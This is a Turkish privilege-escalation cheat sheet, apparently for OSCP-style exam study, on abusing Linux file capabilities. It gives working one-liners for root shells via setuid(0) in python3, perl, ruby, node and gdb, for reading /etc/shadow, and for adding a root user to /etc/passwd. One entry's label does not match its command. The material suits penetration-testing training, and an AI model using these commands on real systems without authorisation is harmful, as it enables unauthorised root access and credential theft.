FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

Linux Capabilities İstismarı — getcap, cap_setuid, cap_dac_read_search

Dosya capability'lerini getcap ile keşfet ve istismar et: cap_setuid+ep ile python/perl üzerinden root shell, cap_dac_read_search ile /etc/shadow okuma, cap_dac_override ile dosya overwrite.

Bilgi: ÖN KOŞULLAR
  • Hedefte düşük yetkili shell
  • getcap binary'sinin mevcut olması (libcap)
┌──

Komutlar

getcap ✓ EXAM-SAFE user
getcap -r / 2>/dev/null
Tüm dosya sistemini recursive tarayarak capability atanmış binary'leri listele (ana discovery komutu). HackTricks — Linux Capabilities
getcap ✓ EXAM-SAFE user
getcap -r / 2>/dev/null | grep -iE 'cap_setuid|cap_setgid|cap_dac_read_search|cap_dac_override|cap_sys_admin|cap_sys_ptrace'
Sadece privesc'e elverişli yüksek riskli capability'leri filtrele. HackTricks — Linux Capabilities (abusable capabilities)
python3 ✓ EXAM-SAFE user
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
python3 binary'sinde cap_setuid+ep varsa setuid(0) ile root shell aç (GTFOBins). GTFOBins: python (Capabilities)
perl ✓ EXAM-SAFE user
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
perl binary'sinde cap_setuid+ep varsa setuid(0) ile root shell (GTFOBins). GTFOBins: perl (Capabilities)
ruby ✓ EXAM-SAFE user
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
ruby binary'sinde cap_setuid+ep varsa setuid(0) ile root shell (GTFOBins). GTFOBins: ruby (Capabilities)
node ✓ EXAM-SAFE user
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'
node binary'sinde cap_setuid+ep varsa setuid(0) ile root shell (GTFOBins). GTFOBins: node (Capabilities)
gdb ✓ EXAM-SAFE user
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/bash' -ex quit
gdb binary'sinde cap_setuid+ep varsa gömülü python ile setuid(0) yapıp root shell aç (GTFOBins). GTFOBins: gdb (Capabilities)
tar ✓ EXAM-SAFE user
/usr/bin/python3 -c 'import os; os.setuid(0); os.setgid(0)'
cap_setuid ile birlikte cap_setgid de varsa gid'i de düşür; bazı senaryolarda gerekli (önce os.setgid(0)). HackTricks — Linux Capabilities (cap_setgid)
python3 ✓ EXAM-SAFE user
/usr/bin/python3 -c 'print(open("/etc/shadow","r").read())'
python3'te cap_dac_read_search+ep varsa DAC kontrollerini bypass edip /etc/shadow oku (hash crack için). GTFOBins: python (Capabilities cap_dac_read_search)
tar ✓ EXAM-SAFE user
/usr/bin/tar cf /tmp/shadow.tar /etc/shadow && tar xf /tmp/shadow.tar -O
tar binary'sinde cap_dac_read_search varsa salt-okunur DAC bypass ile korumalı dosyaları oku. HackTricks — Linux Capabilities (cap_dac_read_search)
python3 ✓ EXAM-SAFE user
/usr/bin/python3 -c 'open("/etc/passwd","a").write("hacker:$1$abc$...:0:0:root:/root:/bin/bash\n")'
cap_dac_override+ep ile DAC write kontrolünü bypass edip /etc/passwd'a root kullanıcı ekle. HackTricks — Linux Capabilities (cap_dac_override)

Genel Bakış

Linux Capabilities, root’un tüm gücünü bir binary’ye vermek yerine ayrık yetkilere böler. Bir dosyaya atanan capability, o binary’yi SUID bit’i olmadan da ayrıcalıklı kılabilir. SUID taraması temiz çıksa bile getcap mutlaka çalıştırılmalıdır — OSCP makinelerinde sık atlanan ama kritik bir vektördür.

Enumeration

getcap -r / 2>/dev/null ile tüm dosya sistemini tara. Çıktıdaki +ep (effective + permitted) eki capability’nin aktif olduğunu gösterir. İlgilenmen gereken yüksek-değerli capability’ler:

  • cap_setuid → setuid(0) çağırarak doğrudan root shell. En değerlisi.
  • cap_setgid → grup kimliğini değiştir; tek başına nadiren yeter ama cap_setuid ile birleşir.
  • cap_dac_read_search → tüm DAC okuma kontrollerini bypass; /etc/shadow gibi korumalı dosyaları oku (write yok).
  • cap_dac_override → DAC write kontrollerini bypass; /etc/passwd veya /etc/shadow yaz.
  • cap_sys_admin / cap_sys_ptrace → daha karmaşık ama mount/namespace/process injection yolları açar.

Exploitation — cap_setuid

En temiz yol budur. python3, perl, ruby, node, gdb gibi bir interpreter’da cap_setuid+ep varsa, interpreter içinden setuid(0) çağırıp ardından bir shell exec et. Bazı kernel/glibc kombinasyonlarında önce setgid(0) gerekebilir; root shell açılmıyorsa gid’i de sıfırla.

Bu capability ile root olamazsın ama dosya okuma kısıtlarını tamamen aşarsın. /etc/shadow dump edip hash’leri john/hashcat ile kır, ya da SSH private key, /root altındaki config dosyaları gibi loot topla. tar ve python3 bu iş için GTFOBins’te listelenir.

Exploitation — cap_dac_override

DAC write kontrolünü bypass eder; doğrudan /etc/passwd’a 0:0 UID/GID’li bir kullanıcı ekleyip (openssl passwd hash’i ile) su ile root’a geç, ya da bir cron/script dosyasını overwrite et.

Notlar / Gotchas

  • getcap binary’si yoksa find / -type f -exec getcap {} \; yerine dosyaları Kali’ne çekip analiz et; ayrıca ambient/inherited capability’ler dosya bazlı getcap ile görünmez.
  • cap_setuid+ep ile cap_setuid+ei farklıdır: +ep (permitted+effective) doğrudan kullanılabilir; sadece +i (inheritable) tek başına işe yaramaz.
  • Bir binary’nin symlink kopyasına capability geçmez; her zaman getcap çıktısındaki gerçek path’i çalıştır.
┌──

Kaynaklar

0/15 set